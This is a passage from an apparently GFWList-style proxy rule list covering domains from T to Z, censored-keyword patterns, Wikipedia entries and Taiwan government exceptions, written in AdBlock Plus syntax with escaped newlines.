.com\\n||swift-tools.net\\n.sydneytoday.com\\n.sylfoundation.org\\n||syncback.com\\n||sysadmin1138.net\\nsysresccd.org\\n.sytes.net\\nblog.syx86.com/2009/09/puff\\nblog.syx86.cn/2009/09/puff\\n.szbbs.net\\n||szetowah.org.hk\\n\\n!--------------------------TT--------------------------\\n.t35.com\\n.t66y.com\\n||t66y.com\\n||t88.ca\\n.taa-usa.org\\n|http://taa-usa.org\\n|http://www.tablesgenerator.com/\\ntabtter.jp\\n.tacem.org\\n||tafaward.com\\ntagwalk.com\\n||tagwalk.com\\ntahr.org.tw\\ntaipei.gov.tw\\n.taipeisociety.org\\n||taipeisociety.org\\n.taiwandaily.net\\n||taiwantt.org.tw\\n||taiwandaily.net\\ntaiwankiss.com\\ntaiwannation.com\\ntaiwannation.com.tw\\n||taiwannews.com.tw\\n|http://www.taiwanonline.cc/\\ntaiwantp.net\\ntaiwanus.net\\ntaiwanyes.com\\ntaiwan-sex.com\\n.talk853.com\\n.talkboxapp.com\\n||talkboxapp.com\\n||tamiaode.tk\\n||tanc.org\\ntangben.com\\n.taolun.info\\n||taolun.info\\nblog.taragana.com\\n||taup.net\\n|http://www.taup.org.tw\\n.taweet.com\\n||taweet.com\\n||tbpic.info\\n||tbsec.org\\n||tbsn.org\\n.tbsseattle.org\\n.tccwonline.org\\n.tcewf.org\\ntchrd.org\\n||techlifeweb.com\\n!--technorati.com\\n||techparaiso.com\\n||teck.in\\nteensinasia.com\\n.telecomspace.com\\n||telegram.org\\n||telegraph.co.uk\\n.tenacy.com\\n.tew.org\\n||theatrum-belli.com\\n||thebodyshop-usa.com\\ntheblemish.com\\n||thebcomplex.com\\n||thebobs.com\\n.thechinabeat.org\\n|http://www.thechinastory.org/yearbooks/yearbook-2012/\\n||thedieline.com\\n||thedw.us\\nthefrontier.hk/tf\\n!--||thegatesnotes.com\\n|http://thegioitinhoc.vn/\\n.thehots.info\\nthehousenews.com\\n||thehun.net\\n.theinitium.com\\n||theinitium.com\\n||thelifeyoucansave.com\\n.thenewslens.com\\nthepiratebay.org\\n!--||thepiratebay.se\\nthereallove.kr\\n||thesartorialist.com\\nthespeeder.com\\n||thestandnews.com\\nthetibetconnection.org\\n.thetibetmuseum.org\\n||thetibetpost.com\\nthetrotskymovie.com/\\nthevivekspot.com\\n||thewgo.org\\n.thinkingtaiwan.com\\n.thisav.com\\n|http://thisav.com\\n||thomasbernhard.org\\nthreatchaos.com\\n||throughnightsfire.com\\n.thumbzilla.com\\n||thywords.com\\ntiananmenmother.org\\n||tiananmenuniv.com\\n||tiananmenuniv.net\\n||tiandixing.org\\n.tianhuayuan.com\\n.tianlawoffice.com\\ntiantibooks.org\\n.tianzhu.org\\n.tibet.at\\ntibet.ca\\n.tibet.com\\n||tibet.com\\ntibet.fr\\n.tibet.net\\n||tibet.net\\ntibet.nu\\n.tibet.org\\n||tibet.org\\ntibet.org.tw\\n.tibet-foundation.org\\n.tibet-house-trust.co.uk\\ntibet-info.net\\ntibet-initiative.de\\n||tibet-initiative.de\\n.tibet-munich.de\\n.tibetaid.org\\ntibetalk.com\\ntibetan-alliance.org\\n.tibetanarts.org\\n.tibetcollection.com\\ntibetanculture.org\\n.tibetanpaintings.com\\n.tibetanphotoproject.com\\n.tibetanwomen.org\\n|http://tibetanwomen.org\\n.tibetanyouthcongress.org\\n||tibetanyouthcongress.org\\n.tibetcharity.dk\\ntibetcharity.in\\n.tibetcity.com\\n.tibetcorps.org\\ntibetfocus.com\\ntibetfund.org\\ntibethouse.jp\\ntibethouse.org\\n||tibethouse.us\\ntibettimes.net\\n.tibetjustice.org\\n|http://tibetmuseum.org\\ntibetnetwork.org\\n||tibetnetwork.org\\n.tibetoffice.ch\\n|http://tibetoffice.ch\\ntibetoffice.org\\ntibetonline.com\\n||tibetonline.com\\n.tibetoffice.com.au\\n|http://tibetoffice.com.au\\n||tibetonline.tv\\n.tibetonline.tv\\n.tibetoralhistory.org\\n.tibetrelieffund.co.uk\\ntibetsites.com\\n.tibetsun.com\\n||tibetwrites.org\\n.time.com/time/time100/leaders/profile/rebel\\n.time.com/time/specials/packages/article/0,28804\\n.time.com/time/magazine\\n||blog.tiney.com\\n.tiny.cc\\n|http://tiny.cc\\ntinychat.com\\n||tinypaste.com\\n.tistory.com\\n||tkcs-collins.com\\n||tkforum.tk\\n.tmagazine.com\\n||tmagazine.com\\n|http://tmi.me\\n.tnaflix.com\\n||tnaflix.com\\n.tnp.org\\n|http://tnp.org\\ntogetter.com\\n.tokyo-247.com\\ntokyo-hot.com\\n||tokyocn.com\\ntw.tomonews.net\\n.tono-oka.jp\\ntonyyan.net\\n.toodoc.com\\ntoonel.net\\n.topnews.in\\n||topshare.us\\n.topshareware.com\\n||topstyle4.com\\n||topsy.com\\n.topsy.com\\n||toptip.ca\\ntora.to\\n.torproject.org\\n||torproject.org\\ntorrentcrazy.com\\n||torrentcrazy.com\\n||torrentproject.se\\n||torrentz.eu\\n||torvpn.com\\ntouch99.com\\n||toutfr.com\\n.tpi.org.tw\\n||tpi.org.tw\\n||transgressionism.org\\n||transparency.org\\n||travelinlocal.com\\n||treemall.com.tw\\ntrendsmap.com\\n||trendsmap.com\\n.trialofccp.org\\n||trialofccp.org\\n||tripod.com\\n@@||www.tripod.com\\n.trouw.nl\\n.trt.net.tr\\ntrtc.com.tw\\ntrulyergonomic.com\\n||trustedbi.com\\n.truth101.co.tv\\n|http://truth101.co.tv\\n||truthcn.com\\n.truveo.com\\n.tsemtulku.com\\ntsquare.tv\\n.tsu.org.tw\\ntsunagarumon.com\\n|http://www.tsuru-bird.net/\\n.tsctv.net\\n||tt-rss.org\\n||tt1069.com\\n||tttan.com\\n.tttan.com\\nbb.ttv.com.tw/bb\\ntu8964.com\\n.tuanzt.com\\n.tube.com\\ntube8.com\\n||tube8.com\\n.tube911.com\\n||tube911.com\\ntubecao.com\\n||tubewolf.com\\ntuidang.net\\ntuidang.org\\nbbs.tuitui.info\\n||tumutanzi.com\\n.tunein.com\\n|http://tunein.com\\n||tunnelbear.com\\n.tuo8.hk\\n.tuo8.org\\n||tuo8.org\\n.turbobit.net\\n|http://turbobit.net\\n||turningtorso.com\\n||tuxtraining.com\\n|http://tuzaijidi.com\\n|http://*.tuzaijidi.com\\n.tw01.org\\n|http://tw01.org\\n\\n!-------------Tumblr-----\\n!--||tumblr.com\\n!--@@||assets.tumblr.com\\n!--@@||data.tumblr.com\\n!--@@||media.tumblr.com\\n!--@@||static.tumblr.com\\n!--@@||www.tumblr.com\\n||fqrouter.tumblr.com\\n\\n.tv.com\\n||www.tv.com\\n|http://tv.com\\n||tv-intros.com\\ntvants.com\\nforum.tvb.com/\\nnews.tvb.com/list/world\\ntvboxnow.com\\ntvider.com\\n||tvunetworks.com\\n.tw-npo.org\\ntwapperkeeper.com\\n||twapperkeeper.com\\n||twaud.io\\n.twaud.io\\n.twbbs.net.tw\\ntwbbs.org\\ntwbbs.tw\\n||twblogger.com\\ntweepmag.com\\n.tweepml.org\\n||tweepml.org\\n.tweetbackup.com\\n||tweetbackup.com\\ntweetboard.com\\n||tweetboard.com\\n.tweetboner.biz\\n||tweetboner.biz\\n.tweetdeck.com\\n||tweetdeck.com\\n|http://deck.ly\\n!-- Operation discontinued\\n!--||tweete.net\\n!--m.tweete.net\\n||mtw.tl\\n||tweetedtimes.com\\n!-- Operation discontinued\\n!--tweetmeme.com\\n||tweetmylast.fm\\ntweetphoto.com\\n||tweetphoto.com\\n||tweetrans.com\\ntweetree.com\\n||tweetree.com\\n||tweetwally.com\\ntweetymail.com\\n||twftp.org\\ntwibase.com\\n.twibble.de\\n||twibble.de\\ntwibbon.com\\n||twibs.com\\ntwicsy.com\\n.twifan.com\\n|http://twifan.com\\ntwiffo.com\\n||twiffo.com\\ntwilog.org\\ntwimbow.com\\n||twimbow.com\\n||twindexx.com\\ntwipple.jp\\n||twipple.jp\\n||twip.me/\\ntwistar.cc\\n||twister.net.co\\n||twisterio.com\\ntwisternow.com\\ntwistory.net\\ntwitbrowser.net\\n||twitcause.com\\n||twitgether.com\\n||twiggit.org\\ntwitgoo.com\\ntwitiq.com\\n||twitiq.com\\n.twitlonger.com\\n||twitlonger.com\\n|http://tl.gd/\\ntwitoaster.com\\n||twitoaster.com\\n||twitonmsn.com\\n.twitpic.com\\n||twitpic.com\\n!--Same IP\\n.twit2d.com\\n||twit2d.com\\n.twitstat.com\\n||twitstat.com\\n||firstfivefollowers.com\\n||retweeteffect.com\\n||tweeplike.me\\n||tweepguide.com\\n||turbotwitter.com\\n.twitvid.com\\n||twitvid.com\\n\\n199.59.148.20\\n||t.co\\n.t.co\\n|http://twt.tl\\ntwittbot.net\\ntwitter.com\\n||twitter.com\\n||twitter.jp\\n||twttr.com\\n/^https?:\\\\/\\\\/[^\\\\/]+twitter\\\\.com/\\n\\n||twitter4j.org\\n.twittercounter.com\\n||twittercounter.com\\ntwitterfeed.com\\n.twittergadget.com\\n||twittergadget.com\\n.twitterkr.com\\n||twitterkr.com\\n||twittermail.com\\ntwittertim.es\\n||twittertim.es\\ntwitthat.com\\n||twitturk.com\\n.twitturly.com\\n||twitturly.com\\n.twitzap.com\\ntwiyia.com\\n||twstar.net\\n\\n.twtkr.com\\n|http://twtkr.com\\n||twimg.com\\ntwtrland.com\\ntwurl.nl\\n.twyac.org\\n||twyac.org\\n.tycool.com\\n||tycool.com\\n||tzangms.com\\n\\n!--typepad\\n||typepad.com\\n@@||www.typepad.com\\n@@||static.typepad.com\\n||blog.expofutures.com\\n||legaltech.law.com\\n||latimesblogs.latimes.com\\n||blog.palm.com\\n||blogs.tampabay.com\\n||contests.twilio.com\\n!-lawprofessors.typepad.com/china_law_prof\\n\\n!-------------Twitese-----\\nembr.in\\n||embr.in\\nguomin.us/login\\n\\n!--------------------------UU--------------------------\\n||uberproxy.net\\n.srcf.ucam.org/salon/\\n||ucdc1998.org\\n|http://hum*.uchicago.edu/faculty/ywang/history\\n||uderzo.it\\n||udn.com\\n.udn.com\\n||uforadio.com.tw\\nufreevpn.com\\n.ugo.com\\n||uhrp.org\\n.uighur.nl\\n||uighur.nl\\nuighurbiz.net\\n.ulike.net\\nukliferadio.co.uk\\n||ukliferadio.co.uk\\nultravpn.fr\\n||ultravpn.fr\\nultraxs.com\\numich.edu/~falun\\n||unblock.cn.com\\n||unblocksit.es\\nuncyclomedia.org\\nuncyclopedia.info\\n|http://uncyclopedia.tw\\n||unholyknight.com\\n.uni.cc\\nunicode.org\\n.unification.org.tw\\n.uniteddaily.com.my/index.php?\\n.unix100.com\\n||unknownspace.org\\nunpo.org\\n||uocn.org\\ntor.updatestar.com\\n.upholdjustice.org\\n.upload4u.info\\n|http://uploaded.net/file/\\n.uploaded.to/file\\n|http://uploaded.to/file\\n.uploadstation.com/file\\n.upwill.org\\nwww.urbanoutfitters.com\\nmyshare.url.com.tw/\\n||urlborg.com\\n||urlparser.com\\nus.to\\n||usacn.com\\nbeta.usejump.com\\n||usfk.mil\\n||usma.edu\\n||usmc.mil\\n|http://tarr.uspto.gov/\\n||tsdr.uspto.gov\\n.ustream.tv\\n||ustream.tv\\n||ustwrap.info\\nusus.cc\\n.uwants.com\\n.uwants.net\\n|http://uyghur-j.org\\n||uyghuramerican.org\\n.uyghurcanadiansociety.org\\n.uyghurensemble.co.uk\\n||uyghurcongress.org\\n.uyghurpen.org\\n.uyghurpress.com\\nuygur.org\\n|http://uymaarip.com/\\n\\n!--------------------------VV--------------------------\\n||v2dn.com\\n!--|http://cdn.v2ex.com\\n!--|http://v2ex.com\\n!--|http://www.v2ex.com\\n||vaayoo.com\\n.van698.com\\n.vanemu.cn\\n.vanilla-jp.com\\nvansky.com\\n||vcf-online.org\\n||vcfbuilder.org\\n.velkaepocha.sk\\n.venbbs.com\\n.venchina.com\\nveoh.com\\n.verizon.net\\n||verybs.com\\n.vft.com.tw\\n.viber.com\\nvideobam.com\\n||videobam.com\\n.videomega.tv\\n||videomega.tv\\n.videomo.com\\n||vidoemo.com\\nvideopediaworld.com\\n||viki.com\\nvimeo.com\\n||vimgolf.com\\n||vimperator.org\\n||vincnd.com\\n||vinniev.com\\n|http://www.lib.virginia.edu/area-studies/Tibet/tibet.html\\n|http://ny.visiontimes.com/\\n.vivatube.com\\n.vivthomas.com\\n||vivthomas.com\\n.vjmedia.com.hk\\n.vllcs.org\\n||vmixcore.com\\ncn.voa.mobi\\ntw.voa.mobi\\n.voachineseblog.com\\n||voachineseblog.com\\n!--voachineseblog.com/heqinglian\\nvoagd.com\\nvoacantonese.com\\n||voacantonese.com\\nvoachinese.com\\n||voachinese.com\\nvoatibetan.com\\n||voatibetan.com\\n.voanews.com\\nvocn.tv\\n.vot.org\\n||vot.org\\nwww.voy.com\\n||www.vpncup.com\\nvpnbook.com\\nvpnfire.com\\n.vpnforgame.net\\n||vpnforgame.net\\n||vpngate.jp\\n.vpngate.net\\n||vpngate.net\\n||vpnpop.com\\n||vpnpronet.com\\n||vpnreviewz.com\\n.vporn.com\\n||vporn.com\\n||vtunnel.com\\n\\n!--------------------------WW--------------------------\\n||w.org\\nlists.w3.org/archives/public\\n||w3schools.com\\n||waffle1999.com\\n.wahas.com\\n.waigaobu.com\\nwaikeung.org/php_wind\\n.waiwaier.com\\n|http://waiwaier.com\\nwallornot.org\\n||wallpapercasa.com\\n||www.wan-press.org\\n||wanderinghorse.net\\n||wangafu.net\\n||wangjinbo.org\\n.wangjinbo.org\\nwanglixiong.com\\nwangruoshui.net\\nwww.wangruowang.org\\nwant-daily.com\\nwapedia.mobi/zhsimp\\n||waselpro.com\\n.wattpad.com\\n||wattpad.com\\n.makzhou.warehouse333.com\\nwasheng.net\\n||watchmygf.net\\n||wav.tv\\n.wdf5.com\\n.wearn.com\\n||wearn.com\\n||hudatoriq.web.id\\n||web2project.net\\nwebbang.net\\nweblagu.com\\n||webmproject.org\\nwebs-tv.net\\n!--webshots.com\\nwebsitepulse.com/help/testtools.china-test.html\\n|http://www.websnapr.com\\nwebworkerdaily.com\\n.weekmag.info\\n||wefightcensorship.org\\n.wefong.com\\nweiboleak.com\\nweijingsheng.org\\n.weiming.info\\n||weiming.info\\nweiquanwang.org\\n|http://weisuo.ws\\n.wemigrate.org\\nwengewang.com\\n||wengewang.org\\n.wenhui.ch\\n|http://trans.wenweipo.com/gb/\\nwenxuecity.com\\n.wenyunchao.com\\n||wenyunchao.com\\nwestca.com\\n||westca.com\\n||westernwolves.com\\n.westkit.net\\n||westpoint.edu\\nwww.wet123.com\\n||wepn.info\\n.westernshugdensociety.org\\nwetpussygames.com\\n.wetplace.com\\nwexiaobo.org\\n||wexiaobo.org\\nwezhiyong.org\\n||wezone.net\\n.wforum.com\\n||wforum.com/\\n.whatblocked.com\\n||whatblocked.com\\n.whippedass.com\\n|http://who.is/\\nwhylover.com\\n||whyx.org\\n|http://evchk.wikia.com\\ncn.uncyclopedia.wikia.com\\nzh.uncyclopedia.wikia.com\\n||wikileaks.ch\\n||wikileaks.de\\n||wikileaks.eu\\n||wikileaks.lu\\n.wikileaks.org\\n||wikileaks.org\\n||wikileaks.pl\\n||collateralmurder.com\\n||collateralmurder.org\\nwikilivres.info/wiki/%E9%9B%B6%E5%85%AB%E5%AE%AA%E7%AB%A0\\n||wikimapia.org\\n||wikiwiki.jp\\n||sports.williamhill.com\\n||willw.net\\n||windowsphoneme.com\\nwinwhispers.info\\n||wiredbytes.com\\n||wiredpen.com\\n||wireshark.org\\n.wisdompubs.org\\n.wisevid.com\\n||wisevid.com\\n.witnessleeteaching.com\\n.witopia.net\\n|http://wn.com\\n.wnacg.com\\n.wo.tc\\n||woeser.com\\n|http://woesermiddle-way.net/\\nwolfax.com\\n||wolfax.com\\nwoopie.jp\\n||woopie.jp\\nwoopie.tv\\n||woopie.tv\\n||workatruna.com\\n||workersthebig.net\\n.worldcat.org\\nworldjournal.com\\n\\n!-------------Wordpress Blog-----\\n!-||bhorowitz.com\\n!-||blogmaverick.com\\n!-||blogs.cnn.com\\n!-||blog.drakengren.com\\n!-||fourwallsandaroof.com\\n!-||herbsutter.com\\n!-||hiveminds.co.uk\\n!-||hoparoundtheglobe.com\\n!-||hunbulin.com\\n!-||icanhascheezburger.com\\n!-||support.intensedebate.com\\n!-||menro.me\\n!-||michaeldehaan.net\\n!-||mynokiablog.com\\n!-||nandalala.com\\n!-||p2theme.com\\n!-||pixelbread.com\\n!-||blog.pixelpipe.com\\n!-||blog.polldaddy.com\\n!-||rawfoodsos.com\\n!-||rayous.com\\n!-||semicolonapps.com\\n!-||sharpinsandiego.com\\n!-||smedio.com\\n!-||steveblank.com\\n!-||thebrigade.com\\n!-||blog.thinglabs.com\\n!-||china.blogs.time.com\\n!-||blog.wakoopa.com\\n!-||wattsupwiththat.com\\n!-||webmink.com\\n.wordpress.com\\n|http://*.wordpress.com\\n||wp.com\\n!-||wormsculptor.com\\nwoxinghuiguo.com\\nwow-life.net\\n||wowlegacy.ml\\n.wpoforum.com\\n||wpoforum.com\\n.wqlhw.com\\n.wqyd.org\\n||wqyd.org\\nwrchina.org\\nwretch.cc\\n!-cn.wsj.com/gb/20130215/tec113853.asp\\n.wsj.com\\n||wsj.com\\n.wsjhk.com\\n.wsj.net\\n.wtfpeople.com\\n.wuala.com\\nwuerkaixi.com\\nwufi.org.tw\\n||wufoo.com\\n||wuguoguang.com\\nwujie.net\\nwujieliulan.com\\n||wujieliulan.com\\nwukangrui.net\\nwwitv.com\\nwzyboy.im/post/160\\n\\n!--------------------------XX--------------------------\\n.x-berry.com\\n||x-berry.com\\n||x-art.com\\n||x-wall.org\\nx1949x.com\\nx365x.com\\nxanga.com\\n||xbabe.com\\n.xbookcn.com\\n||xbookcn.com\\n||xcafe.in\\nx.xcity.jp\\n.xcritic.com\\n|http://cdn*.xda-developers.com\\ndestiny.xfiles.to/ubbthreads\\n.xfm.pp.ru\\nxgmyd.com\\nxh4n.cn/blog\\nxhamster.com\\none.xthost.info\\n.xianqiao.net\\n.xiaochuncnjp.com\\ns.xiaod.in\\n.xiaohexie.com\\n||xiaolan.me\\n||xiaoma.org\\n||xiaohexie.com\\nxiezhua.com\\nforum.xinbao.de/forum\\n.xing.com\\n||xing.com\\n.xinmiao.com.hk\\n||xinmiao.com.hk\\nxinsheng.net\\nxinshijue.com\\nxinhuanet.org\\n|http://xinyubbs.net\\n.xiongpian.com\\nxizang-zhiye.org\\nxjp.cc\\n||xjp.cc\\n||xlfmwz.info\\n||xml-training-guide.com\\nxmovies.com\\n||xnxx.com\\nxpdo.net\\n||xpud.org\\n||k2.xrea.com\\n||xtube.com\\nblog.xuite.net\\nvlog.xuite.net\\nxuzhiyong.net\\n||xuchao.org\\nxuchao.net\\n||xuchao.net\\n.xvideos.com\\n.xxbbx.com\\n||xxxx.com.au\\nxys.org\\nxysblogs.org\\nxyy69.com\\nxyy69.info\\n\\n!--------------------------YY--------------------------\\npage.bid.yahoo.com\\nblogs.yahoo.co.jp\\nbuy.yahoo.com.tw/gdsale\\nhk.yahoo.com\\nhk.knowledge.yahoo.com\\nhk.myblog.yahoo.com\\n||hk.news.yahoo.com\\nhk.rd.yahoo.com\\nhk.search.yahoo.com/search\\nhk.video.news.yahoo.com/video\\nmeme.yahoo.com\\n!--tw.yahoo.com\\n||tw.knowledge.yahoo.com\\ntw.myblog.yahoo.com\\n||tw.news.yahoo.com\\npulse.yahoo.com\\nupcoming.yahoo.com\\nvideo.yahoo.com\\n||yahoo.com.hk\\n||yakbutterblues.com\\nyam.com\\n||yam.com\\nyangjianli.com\\nyasni.co.uk\\n||yasukuni.or.jp\\n.ydy.com\\n||yeelou.com\\nyeeyi.com\\nyegle.net\\n||yegle.net\\n||yes123.com.tw\\n||yesasia.com\\n||yesasia.com.hk\\n||yecl.net\\n!--yfrog.com\\n||yhcw.net\\n.yi.org\\n.yibada.com\\n.yibaochina.com\\n.yidio.com\\n||yidio.com\\nyilubbs.com\\nxa.yimg.com\\n.yipub.com\\n||yipub.com\\nyinlei.org/mt\\n.yogichen.org\\n||yogichen.org\\nyong.hu\\n.yorkbbs.ca\\n||youxu.info\\n.yyii.org\\n||yyii.org\\n.yzzk.com\\n||yzzk.com\\n.youjizz.com\\n||youjizz.com\\nyoumaker.com\\nyoupai.org\\n||youpai.org\\n.your-freedom.net\\n||yourepeat.com\\n.yousendit.com\\n||yousendit.com\\nyouthbao.com\\n.youthnetradio.org/tmit/forum\\nblog.youthwant.com.tw\\nshare.youthwant.com.tw\\ntopic.youthwant.com.tw\\n.youporn.com\\n||youporn.com\\n.youporngay.com\\n||youtu.be\\n.youtube.com\\n||youtube.com\\n||youtube-nocookie.com\\n.youtubecn.com\\nyouversion.com\\n||youversion.com\\nblog.youxu.info/2010/03/14/west-chamber\\nytht.net\\nyuanming.net\\n||yunchao.net\\n||yvesgeleyn.com\\nyx51.net\\n||yymaya.com\\n\\n!--------------------------ZZ--------------------------\\nzacebook.com\\n||zannel.com\\n||tap11.com\\n.zaobao.com\\n.zaobao.com.sg\\n||zaobao.com.sg\\n.zaozon.com\\n||zarias.com\\nwww.zaurus.org.uk\\n.zdnet.com.tw/news/software/0,2000085678,20111187,00\\n.zengjinyan.org\\n!--||zeutch.com\\nwww.zfreet.com/post/usejump-browns.html\\nzgzcjj.net\\n.zhanbin.net\\n||zhanbin.net\\n.zhangboli.net\\nzhenghui.org\\n||zhangtianliang.com\\nzhengwunet.org\\nzhenlibu.info\\n||zhenlibu.info\\n|http://zhenxiang.biz\\n.zhinengluyou.com\\n|http://zhongguorenquan.org\\n||zhongguotese.net\\n||zhongmeng.org\\n||zhreader.com\\nzhuichaguoji.org\\n||zhuichaguoji.org\\n.ziddu.com/download\\n||zillionk.com\\nzinio.com\\n||zinio.com\\n||ziplib.com\\n.zkaip.com\\n||zkaip.com\\n||zlib.net/\\nzmw.cn\\nzomobo.net\\n.zonaeuropa.com\\n||zonaeuropa.com\\n||zootool.com\\n.zoozle.net\\nwriter.zoho.com\\n.zshare.net/download\\n.zsrhao.com\\n.zuo.la\\n||zuo.la\\n||zuobiao.me\\n.zuola.com\\n||zuola.com\\n||zvereff.com\\nzyzc9.com\\n\\n!--------------------------Other----------------------\\n!--falun\\nfreenet\\nq=freedom\\nq%3Dfreedom\\nremembering_tiananmen_20_years\\nsearch*safeweb\\nq=triangle\\nq%3DTriangle\\nultrareach\\nultrasurf\\nzhengjian\\n\\n!--Ba Ke\\n%E7%BD%A2%E8%AF%BE\\n!--Bao Tong\\n!--.google.*%E9%B2%8D%E5%BD%A4\\n!--.google.*%E9%AE%91%E5%BD%A4\\n!--Bo Xun\\nsearch*%E5%8D%9A%E8%AE%AF\\n!--Da Ji Yuan\\nsearch*%E5%A4%A7%E7%BA%AA%E5%85%83\\n!--Diao Yu Dao\\nsearch*%E9%92%93%E9%B1%BC%E5%B2%9B\\n!--dong tai wang\\n%E5%8A%A8%E6%80%81%E7%BD%91\\n!--Duo Wei (hans/hant)\\nsearch*%E5%A4%9A%E7%B6%AD\\nsearch*%E5%A4%9A%E7%BB%B4\\nsearch*freegate\\n!--(Li) Fa Hui\\nsearch*%E6%B3%95%E4%BC%9A\\n!--fa lun da fa\\n%E6%B3%95%E8%BD%AE%E5%A4%A7%E6%B3%95\\n!--Fa Lun Gong: Traditional Chinese\\n%E6%B3%95%E8%BC%AA%E5%8A%9F\\n!--Fa Lun Gong: Simplified Chinese\\n%E6%B3%95%E8%BD%AE%E5%8A%9F\\n!--Hu Hai Feng\\n%E8%83%A1%E6%B5%B7%E5%B3%B0\\n!--Hu Hai Qing\\n%E8%83%A1%E6%B5%B7%E6%B8%85\\n!--Hua Hua Gong Zi\\nsearch*%E8%8A%B1%E8%8A%B1%E5%85%AC%E5%AD%90\\n!--Ji Yuan\\nsearch*%BC%CD%D4%AA\\n!--Jia Mi Dai Li (GB/U8)\\nsearch*%BC%D3%C3%DC%B4%FA%C0%ED\\nsearch*%E5%8A%A0%E5%AF%86%E4%BB%A3%E7%90%86\\n!--Jiang Liu Mang\\nsearch*%E6%B1%9F%E6%B5%81%E6%B0%93\\n!--Kan Zhong Guo\\nsearch*%E7%9C%8B%E4%B8%AD%E5%9B%BD\\n!--Liu Si\\nsearch*%E5%85%AD%E5%9B%9B\\n!--Liu Xiao Bo\\n%E5%88%98%E6%99%93%E6%B3%A2\\n!--Mei Guo Zhi Yin\\n%E7%BE%8E%E5%9B%BD%E4%B9%8B%E9%9F%B3\\n!--Min Jin Dang\\n%E6%B0%91%E8%BF%9B%E5%85%9A\\n!--(Nong) Min Yun (Dong Hui)\\n%E6%B0%91%E8%BF%90\\n!--Se Qing\\nsearch*%E8%89%B2%E6%83%85\\n!--Wang Dan\\n%E7%8E%8B%E4%B8%B9\\n!--Wang Te\\nsearch*%E7%BD%91%E7%89%B9\\n!--Wang Xi Zhe\\nsearch*%E7%8E%8B%E5%B8%8C%E5%93%B2\\n!--Wei Jing Sheng\\nsearch*%E9%AD%8F%E4%BA%AC%E7%94%9F\\n!--Wen Zi Yu\\nsearch*%E6%96%87%E5%AD%97%E7%8B%B1\\n!--Wo De Fen Dou\\nsearch*%E6%88%91%E7%9A%84%E5%A5%8B%E6%96%97\\n!--Wu Jie\\nsearch*%E6%97%A0%E7%95%8C\\n!--Xie E\\nsearch*%E9%82%AA%E6%81%B6\\n!--Xin Tang Ren\\nsearch*%E6%96%B0%E5%94%90%E4%BA%BA\\n!--Xin Yu Si\\nsearch*%E6%96%B0%E8%AF%AD%E4%B8%9D\\n!--Xue Yun\\nsearch*%E5%AD%A6%E8%BF%90\\n!--Zhong Gong\\nsearch*%E4%B8%AD%E5%8A%9F\\n!--Zhong Guo Lun Tan\\nsearch*%E4%B8%AD%E5%9B%BD%E8%AE%BA%E5%9D%9B\\n!--Zhong Xuan Bu\\nsearch*%E4%B8%AD%E5%AE%A3%E9%83%A8\\n\\n!-------------Wikipedia Related-------------\\n!---Emergency need only(IP/Port block usage)---\\n!------0------\\n!--||mediawiki.org\\n!--@@||m.mediawiki.org\\n!------1------\\n!--||wikidata.org\\n!--@@||m.wikidata.org\\n!------2------\\n!--||wikimedia.org\\n!--@@||lists.wikimedia.org\\n!--@@||m.wikimedia.org\\n!--@@||phabricator.wikimedia.org\\n!--@@||upload.wikimedia.org\\n!--@@||wikitech.wikimedia.org\\n!------3------\\n!--||wikibooks.org\\n!--@@||m.wikibooks.org\\n!------4------\\n!--||wikiversity.org\\n!--@@||m.wikiversity.org\\n!------5------\\n!--||wikisource.org\\n!--@@||m.wikisource.org\\nzh.wikisource.org\\n!------6------\\n!--||wikiquote.org\\n!--@@||m.wikiquote.org\\n!------7------\\n!--||wikinews.org\\n!--@@||m.wikinews.org\\nzh.wikinews.org\\n!------8------\\n!--||wikivoyage.org\\n!--@@||m.wikivoyage.org\\nzh.wikivoyage.org\\n!------9------\\n!--||wiktionary.org\\n!--@@||m.wiktionary.org\\nzh.wiktionary.org\\n!-----10------\\n!--||wikimediafoundation.org\\n!--@@||m.wikimediafoundation.org\\n!----Main-----\\n!--||wikipedia.org\\nzh.wikipedia.org\\n!--||zh.wikipedia.org\\nzh.m.wikipedia.org\\n|https://zh.m.wikipedia.org\\n!--@@||m.wikipedia.org\\n|https://zh.wikipedia.org\\n\\n!---------------Other Wikis---------------\\n!--Tu Po Wang Luo Shen Cha--Wikibooks\\nzh.wikibooks.org*%E7%AA%81%E7%A0%B4%E7%BD%91%E7%BB%9C%E5%AE%A1%E6%9F%A5\\n\\n!------------TW Gov-------------------------\\n.gov.tw\\n@@||tax.nat.gov.tw\\n@@||moe.gov.tw\\n@@||cwb.gov.tw\\n@@||npm.gov.tw\\n@@||yatsen.gov.tw\\n@@||mvdis.gov.tw\\n@@||stdtime.gov.tw\\n@@||nmmba.gov.tw\\n@@||ntdmh.gov.tw\\n@@||grb.gov.tw\\n@@||tpde.aide.gov.tw\\n@@||matsu-news.gov.tw\\n@@||dapu-house.gov.tw\\n@@||vghtc.gov.tw\\n@@||aide.gov.tw\\n@@||hchcc.gov.tw\\n@@||ntuh.gov.tw\\n@@||nhri.gov.tw\\n@@||nstm.gov.tw\\n@@||ntsec.gov.tw\\n@@||ner.gov.tw\\n@@||nmtl.gov.tw\\n@@||ntl.gov.tw\\n@@||pet.gov.tw\\n@@||khcc.gov.tw\\n@@||nmmba.gov.tw\\n@@||khms.gov.tw\\n@@||wanfang.gov.tw\\n@@||nict.gov.tw\\n@@||arte.gov.tw\\n@@||nmh.gov.tw\\n@@||nmp.gov.tw\\n@@||tphcc.gov.tw\\n@@||iner.gov.tw\\n@@||tncsec.gov.tw\\n@@||nspo.gov.tw\\n@@||aide.gov.tw\\n@@||ncree.gov.tw\\n@@||vghks.gov.tw\\n@@||tchb.gov.tw\\n@@||pabp.gov.tw\\n@@||itrc.gov.tw\\n@@||df.gov.tw\\n@@||womenbusiness.nyc.gov.tw\\n@@||gsn-cert.nat.gov.tw\\n@@||kk.gov.tw\\n@@||thbstc.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||comnews.gio.gov.tw\\n@@||klccab.gov.tw\\n@@||yvtc.gov.tw\\n@@||aftygh.gov.tw\\n@@||klra.gov.tw\\n@@||lungtanhr.gov.tw\\n@@||taoyuan.gov.tw\\n@@||hcc.gov.tw\\n@@||nvri.gov.tw\\n@@||nmvttc.gov.tw\\n@@||kmh.gov.tw\\n@@||patehr.gov.tw\\n@@||nerch.gov.tw\\n@@||kmseh.gov.tw\\n@@||nertt.gov.tw\\n@@||cycab.gov.tw\\n@@||chukuang.gov.tw\\n@@||gysd.nyc.gov.tw\\n@@||cp-house.gov.tw\\n@@||vghtpe.gov.tw\\n@@||etraining.gov.tw\\n@@||stag.gov.tw\\n@@||bdhr.gov.tw\\n@@||tcsac.gov.tw\\n@